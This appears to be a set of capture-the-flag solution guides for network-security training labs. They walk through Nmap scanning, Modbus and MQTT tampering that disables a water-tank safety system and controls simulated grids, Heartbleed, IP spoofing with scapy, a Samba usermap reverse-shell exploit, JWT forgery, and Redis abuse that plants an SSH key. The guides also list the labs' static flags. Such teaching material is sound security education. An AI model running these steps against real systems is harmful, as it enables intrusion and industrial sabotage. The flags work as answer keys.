National Network

Network Scanning Solution Guides

Table of Contents

LAB 1: Det Afskyelige Servicescan (The Abominable Service Scan)

This is intended as a very easy network scanning challenge. Open ports on a mysterious host can be found by Nmap, and its powerful fingerprinting abilities can reveal the service name and its exact version number, to be submitted as the flag.

Domain Name:
abominable.hkn

Static Flag:
DDC{Jetty-9.4.45.v20220203}

Proposed Difficulty:
15 points

Prerequisites

- Knows about Nmap, and how it can scan for ports.

Outcome

- Learn how to do service discovery and version fingerprinting with Nmap.

Solution

1. **Understand Service Scanning:**
   - By googling what a "service scan" is, it is revealed that Nmap might come in handy here. Hint
2. **Run a Basic Scan:**
   - Use the command *nmap abominable.hkn* to identify open ports. The scan should reveal that port **31337** is open.
     - Note: Depending on your Nmap settings, you might need to add the *-p-* option to ensure all ports are scanned, as some configurations limit the scan range.

3. **Investigate the Service:**
    - Open a browser and navigate to *http://abominable.hkn:31337.* This should display a faux 404 error page.
    - This page reveals that a *Jetty* web server is running. The fake 404 page is the official Jetty 404 page, with minor modifications.
4. **Discover the Exact Version:**
    - To identify the exact version of Jetty, run the following command:

      ```
      nmap -sV abominable.hkn -p 31337
      ```

    - This will provide the service name and version number.
5. **Submit the Flag:**
    - Combine the service name and version number into the required format and submit it as the flag. Example:
        - *DDC{Jetty-9.4.45.v20220203}*

LAB 2: Water Tank – Video Demonstration Included

This challenge involves exploiting a water tank controlled via the Modbus protocol. Participants will act as a Modbus master to connect to the water tank (a Modbus slave) and manipulate its registers and coils to cause an overflow. This demonstrates the risks of running Modbus on public networks.

Domain Name:
water-tank.hkn

Static Flag:
HKN{m0dbu5_i5nt_m34nt_f0r_publ1c_n3tw0rks}

Proposed Difficulty:
40 points

Prerequisites:

- Understanding of network scanning.
- Knowledge of Modbus and familiarity with Metasploit.

Outcome:

- Learn to scan for Modbus devices and identify open ports.
- Gain experience with Metasploit modules for Modbus enumeration and exploitation.
- Understand the vulnerabilities and risks associated with Modbus on public networks.

Solution:

1. Go to the website available at *water-tank.hkn* and observe the water tank simulation. The site shows values such as *Security system enabled, Water level,* and *Water temperature.*
2. Run a network scan on *water-tank.hkn* to identify open ports:

   ```
   nmap -p- water-tank.hkn
   ```

3. The scan will reveal that port **502**, associated with the Modbus protocol, is open.

4. Open Metasploit and search for Modbus modules:

```
search modbus
```

5. Select the modbusclient module:

```
use auxiliary/scanner/scada/modbusclient
```

6. Set the target to the water tank's host:

```
set RHOSTS water-tank.hkn
```

7. To discover the Modbus registers, set the action to *READ_HOLDING_REGISTERS* and explore the data by adjusting the *DATA_ADDRESS* parameter. Reading from address 1 will display the *Water Temperature*, while address 2 will show the *Water Level*:

```
set ACTION READ_HOLDING_REGISTERS
set DATA_ADDRESS 1
exploit
set DATA_ADDRESS 2
exploit
```

8. Attempt to overflow the tank by writing a large value (e.g., 1000) to the water level register:

```
set ACTION WRITE_REGISTER
set DATA_ADDRESS 2
set DATA 1000
exploit
```

9. This action triggers a security warning on the website, as the security system prevents increasing the water level beyond 400. Disable the security system by reading the coils and identifying the coil controlling the security system. Set the action to *READ_COILS* and examine the value at *DATA_ADDRESS 1*, which will return 1 (enabled):

```
set ACTION READ_COILS
set DATA_ADDRESS 1
exploit
```

10. Change the coil value to 0 to disable the security system:

```
set ACTION WRITE_COIL
set DATA_ADDRESS 1
set DATA 0
exploit
```

11. After disabling the security system, write a value greater than 400 (e.g., 999) to the water level register to overflow the tank:

```
set ACTION WRITE_REGISTER
set DATA_ADDRESS 2
set DATA 999
exploit
```

12. The water tank overflows, and the flag will be displayed on the website.
    - *HKN{m0dbu5_i5nt_m34nt_f0r_publ1c_n3tw0rks}*

LAB 3: Heartbleed

Heartbleed is a well-known SSL vulnerability. The user will need to use Metasploit to find a vulnerable machine and later exploit that same machine with a Heartbleed exploit that is available on Metasploit as well.

Domain Name:
cph-sec.com

Static Flag:
HKN{1JM-fuD-Ywxn}

Proposed Difficulty:
16 points.

Prerequisites

- Simply have heard about Metasploit
- Be somewhat comfortable in the Linux terminal

Outcome

- Learn how to use Metasploit auxiliary modules to scan for specific vulnerabilities
- Learn how to use Metasploit to exploit known vulnerabilities

---

Solution

1. **Scan for Heartbleed Vulnerability:**
    - Create an Nmap scan using:
        - *nmap -p 443 --open --script ssl-heartbleed <ip>/24*
    - The target IP vulnerable to the attack will show up in the scan.
2. **Start Metasploit:**
    - Start Metasploit using the *msfconsole* command in the terminal.
3. **Search for Heartbleed Module:**
    - Use the command *search heartbleed*.
    - Find the correct one (scanner) and type *use 0* or *use 1* depending on which one is the scanning module.

4. **Set the Target:**
    - Use the command *SET RHOSTS <target ip>*.
    - Type: *set verbose true*.
5. **Run the Exploit:**
    - Type: *run* or *exploit*.
    - The memory content of the target IP will now be shown in the terminal.
6. **Submit the Flag:**
    - Combine the relevant information from the exploit output into the required format and submit it.
        - *HKN{1JM-fuD-Ywxn}*

LAB 4: Project Tomato

Part 1: Project Tomato | I'm Outside

Domain Name:
project-tomato.hkn

Proposed Difficulty:
20 points

Prerequisites:

- Basic knowledge of MQTT and its publish/subscribe model.
- Familiarity with basic network scanning techniques.

Outcome:

- Learn how to interact with an MQTT broker.
- Understand the MQTT subscribe/publish model.

Solution:

1. Understand the MQTT server:
    - An MQTT broker is publishing data periodically for others to subscribe to and receive. The broker uses topics to categorize messages.
2. Subscribe to the topic *flag1*:
    - Run the following command to subscribe to the topic:

      ```
      mosquitto_sub -t flag1 -h project-tomato.hkn
      ```

3. Subscribe to all topics:
    - Alternatively, you can subscribe to all topics by running:

      ```
      mosquitto_sub -t # -h project-tomato.hkn
      ```

4. Receive the flag:
    - By subscribing, you will receive the flag periodically every 5 seconds.

Part 2: Project Tomato | I'm In

Proposed Difficulty:
30 points

Prerequisites:

- Completion of *Project Tomato* | *I'm Outside*.
- Ability to use MQTT to publish and subscribe to topics.

Outcome:

- Learn how to publish messages to an MQTT broker.
- Understand how to manipulate IoT device behavior through MQTT.

Solution:

1. Subscribe to topics:
    - First, subscribe to all topics using the following command:

      ```
      mosquitto_sub -t # -h project-tomato.hkn
      ```

    - Observe the output and look for a topic named *soil_temp*.
2. Monitor the temperature format:
    - The temperature will be displayed as:

      ```
      temp:<some.number>
      ```

3. Publish a new temperature:
    - To unlock the greenhouse, you need to set the temperature above 25.00.
    - Publish a new temperature to the *soil_temp* topic:

      ```
      mosquitto_pub -h project-tomato.hkn -t soil_temp -m
      "temp:219.93"
      ```

4. Receive the flag:
    - The flag will now appear in the *flag2* topic.
    - Ensure you are subscribed to all topics to see it.

LAB 5: IP Bamboozling

Trick a server into trusting you by spoofing your IP address. Your task is to gain access to the `sendflag` command and retrieve the flag. This challenge demonstrates the dangers of IP spoofing and how it can be exploited in a poorly configured network environment.

Domain Name:
bamboozle.hkn

Static Flag:
HKN{n3w_1p_wh0_d1s}

Proposed Difficulty:
25 points

Prerequisites:

- Basic understanding of IP addresses.
- Experience with Linux networking tools such as *netcat*.

Outcome:

- Learn about and gain hands-on experience with IP spoofing.

Solution:

- **Connect to the UDP Server:**
  - Start by connecting to the server using the following command:

    ```
    nc -u bamboozle.hkn 1234
    ```

  - Enter any input, and the application will suggest using the `help` command. Use this command to see a list of available options.

- **Identify the Problem:**
  - The goal is to use the `sendflag` command, but the server only allows requests from the IP address 13.37.13.37.
- **Set Up a Listener:**
  - Before spoofing the IP, spin up a TCP server on your machine to receive the flag:

    ```
    nc -lvp 1234
    ```

- **Spoof the IP:**
  - Use the Python `scapy` library to spoof the source IP address of your UDP packet:

    ```
    from scapy.all import *

    send(IP(src="13.37.13.37",
    dst="[SERVER_IP]")/UDP(dport=1234,
    sport=5555)/b"sendflag [YOUR_IP] 1234")
    ```

  - Replace `[SERVER_IP]` with the actual IP address of the target server (*bamboozle.hkn*), and `[YOUR_IP]` with your machine's IP address to ensure the flag is sent to your listener.
- **Receive the Flag:**
  - Once the spoofed packet is sent, your TCP server will receive the flag at the specified port.
    - *HKN{n3w_1p_wh0_d1s}*

LAB 6: It’s Samba Time

Samba version 3.0.20 contains a vulnerability that allows remote code execution via the *username map script*. This challenge involves scanning the target with Nmap, identifying the vulnerable Samba service, and using Metasploit to exploit the vulnerability. After gaining a shell, navigate to the target system's */root* directory to retrieve the flag.

Proposed Difficulty:
15 points

Prerequisites:

- Familiarity with Metasploit and how to use it.
- Knowledge of running Nmap to scan for services and versions.

Outcome:

- Learn how to execute Metasploit exploits.
- Understand remote code executions and how to gain remote shells.

Solution:

1. **Run an Nmap Scan:**
    - Begin by scanning the target system for services and versions using the following command:

      ```
      nmap -sV -A [TARGET_IP]
      ```

    - This scan will reveal that Samba version 3.0.20 is running on the target system.
2. **Identify the Vulnerability:**
    - A quick Google search for "*Samba 3.0.20 RCE*" will show that this version has a vulnerability related to the *username map script*.
3. **Start Metasploit:**
    - Launch Metasploit by running:

      ```
      msfconsole
      ```

4. **Search for Samba Exploits:**
    - In the Metasploit console, search for Samba-related exploits:

      ```
      search samba
      ```

    - Look for the exploit named *exploit/multi/samba/usermap_script*.
5. **Use the Exploit:**
    - Select the exploit:

      ```
      use exploit/multi/samba/usermap_script
      ```

6. **Set the Payload:**
    - Use the payload *cmd/unix/reverse_netcat*:

      ```
      set payload cmd/unix/reverse_netcat
      ```

7. **Configure the Target:**
    - Set the target IP address:

      ```
      set rhosts [TARGET_IP]
      ```

8. **Run the Exploit:**
    - Execute the exploit by typing:

      ```
      run
      ```

    - This will provide a remote shell.
9. **Verify Access:**
    - Once you have the shell, confirm it by typing:

      ```
      whoami
      ```

    - You should see that you are logged in as root.
10. **Retrieve the Flag:**
    - Navigate to the */root* directory:

      ```
      cd /root
      ```

    - Display the contents of the flag.txt file:

      ```
      cat flag.txt
      ```

    - This will reveal the flag.

Extra LABs

Extra LAB 1: Network Scanning

This challenge requires you to use Nmap to identify a hidden webserver running on port 8080. The task is to locate the webserver by scanning the network and then use a browser to access it and retrieve the flag displayed on its homepage.

Proposed Difficulty:
5 points

Prerequisites:

- Basic understanding of Nmap and how to run simple network scans.

Outcome:

- Learn how to scan a network and identify a running webserver.

Solution:

1. **Run an Nmap Scan:**
   - Scan the network for devices with port 8080 open using the following command:

     ```
     nmap -p 8080 [YOUR_IP_ADDRESS]/24 --open
     ```

2. **Identify the Target:**
   - Depending on the number of devices on the network, multiple IP addresses might appear with port 8080 open.
3. **Access the Webserver:**
   - Open a browser and enter each IP address found in the scan, appending port 8080 (e.g., *http://[TARGET_IP]:8080*).
4. **Retrieve the Flag:**
   - The correct server will display the flag on its homepage.

Extra LAB 2: FartCorp

Domain Name:
fartcorp.hkn

Static Flags:

- **Flag 1:** *HKN{1v3_607_7h3_p0w3r}*
- **Flag 2:** *HKN{f4r7_c0rp_c4n_60_p00p_7h3m53lv35}*

Proposed Difficulty:

- **Flag 1:** 20 points
- **Flag 2:** 70 points

Prerequisites:

- Understanding JWT (JSON Web Tokens).
- Experience with network scanning.
- Basic knowledge of Metasploit.

Outcomes:

- Learn to exploit JWT authentication by brute-forcing the secret key and modifying tokens.
- Understand the Modbus protocol and how to manipulate it to control ICS/SCADA systems.

Description for Flag 1:
FartCorp has restricted access to their World Map of Gas. Use the provided credentials to log in, brute-force the JWT secret, and gain admin privileges to obtain the flag.

Solution:

Flag 1: FartCorp - More Power

1. **Login:**
   - Use the provided credentials to log in:
     - **Username:** *Hector*
     - **Password:** *GasIsLife*
2. **Explore:**
   - Check the *robots.txt* file for hints.
   - Open the to-do list for more clues.
3. **Modify JWT:**
   - Use the secret key *BurnItAll* to decode and modify the JWT.
   - Change the *admin* claim from *false* to *true*. Tools like jwt.io can help.
4. **Replace JWT:**
   - Replace the old JWT with the newly crafted one in your browser.
5. **Reload Page:**
   - Reload the front page to gain admin privileges.
   - The flag will be displayed:
     - *HKN{1v3_607_7h3_p0w3r}*

Description for Flag 2:
After gaining admin access, use the gas grid map to exploit Modbus and control the gas flow. Successfully redirect gas to the world to obtain the second flag.

Flag 2: FartCorp - Give us the Gas!

1. **Access the Gas Grid Map:**
   - After obtaining admin privileges, access the gas grid map.
2. **Scan for Modbus Ports:**
   - Perform a network scan to identify the Modbus port (typically port 502).
3. **Modify Modbus Registers:**
   - Use tools like Metasploit to manipulate the Modbus registers.
   - Observe that changing registers affects the gas valves.
4. **Control Gas Flow:**
   - Turn the gas valves to guide gas flow to the world.
   - Be cautious not to exceed pressure limits, as this may cause pipeline explosions and reset the registers.
5. **Supply Gas to the World:**
   - Once the gas is successfully routed, the flag will be displayed:

- *HKN{f4r7_c0rp_c4n_60_p00p_7h3m53lv35}*

Extra LAB 3: MQTT Power Grid

Description:
In this challenge, you need to find that the server hosting the given website also hosts an MQTT broker. By subscribing to the wildcard # topic, you will discover JSON packets containing the fields *running* and *speed*. Your goal is to modify these fields to activate all windmills and supply enough power to Germany while powering the server in Aalborg. Once all windmills are operational, the flag will be displayed on the website.

Domain Name:
danwind.hkn

Proposed Difficulty:
50 points

Prerequisites:

- Knowledge of network scanning techniques.
- Familiarity with MQTT and its publish/subscribe model.

Outcome:

- Learn how to scan a network to identify MQTT brokers.
- Understand MQTT topics and how to interact with them.
- Gain experience in using MQTT to manage and control resources.

Solution:

1. **Visit the Website:**
    - Go to the provided website and inspect the displayed windmills.
2. **Scan for the MQTT Broker:**
    - Perform a network scan to identify the MQTT broker hosted on the same server.

3. **Subscribe to All Topics:**
    - Use the following command to subscribe to all MQTT topics:

      ```
      mosquitto_sub -h danwind.hkn -p 1883 -t '#' -v
      ```

    - This will display all messages being published to the broker.
4. **Identify the Clients:**
    - Analyze the incoming packets to identify the six clients connected to the MQTT broker.
    - Note the fields *running* and *speed* in the JSON packets.
5. **Enable All Windmills:**
    - Publish messages to enable all windmills and set their speed to 100:

      ```
      mosquitto_pub -h danwind.hkn -t "windmills/*/speed" -m
      "100" -p 1883
      mosquitto_pub -h danwind.hkn -t "windmills/*/running"
      -m "true" -p 1883
      ```

    - Replace * with the respective IDs of the windmills.
6. **Retrieve the Flag:**
    - After enabling all windmills, revisit the website to get the flag displayed there.

Extra LAB 4: RediSSH

Description:
This challenge involves discovering a server running both a Redis database and SSH. Students must exploit the misconfigured Redis server to complete two tasks: first, retrieve a flag from the Redis key-value store, and second, add an authorized SSH key to gain shell access. The challenge demonstrates the risks of unprotected key-value stores and misconfigured remote configuration.

Proposed Difficulty:

- **Flag 1:** 10 points (Forensics)
- **Flag 2:** 50 points (Boot2Root)

Prerequisites:

- Knowledge of network scanning.
- Basic understanding of Redis and SSH functionality.

Outcome:

- Learn how to scan networks to identify services.
- Understand the risks of exposing unprotected Redis databases.
- Gain experience exploiting Redis misconfigurations to gain SSH access.

Solution:

Flag 1: Unprotected Key/Value Store

1. **Scan for the Server:**
   - Use Nmap to locate servers running Redis on port 6379:

     ```
     nmap -p 6379 <ip-range>
     ```

2. **Connect to Redis:**
   - Connect to the Redis server using either `nc` or `redis-cli`:

     ```
     nc <ip> 6379
     redis-cli -h <ip>
     ```

3. **List Redis Keys:**
   - Retrieve the list of keys stored in Redis by running:

     ```
     keys *
     ```

4. **Read the Flag:**
   - Access the value of the *flag* key by running:

     ```
     get flag
     ```

   - The flag will be displayed.

Flag 2: Unprotected Key/Value Store - Config

1. **Check Write Access:**
   - Follow the steps from **Flag 1** to access Redis.
   - Test if you have “write” access by creating a new key:

     ```
     set <key> <value>
     ```

2. **Access Configuration:**
   - Check if the configuration directory is accessible by running:

     ```
     config get dir
     ```

3. **Change Directory:**
   - Set the configuration directory to the *.ssh* folder:

     ```
     config set dir .ssh
     ```

4. **Set Authorized Keys File:**
   - Change the Redis database file name to *authorized_keys*:

     ```
     config set dbfilename "authorized_keys"
     ```

5. **Save Public Key:**
   - Insert your public SSH key into Redis:

     ```
     set ssh \n\n<public key>\n\n
     ```

6. **Save to Disk:**
   - Write the key to the file system by running:

     ```
     Save
     ```

7. **SSH into the Server:**
   - Use your private key to SSH into the server and retrieve the flag:

     ```
     ssh root@<ip>
     ```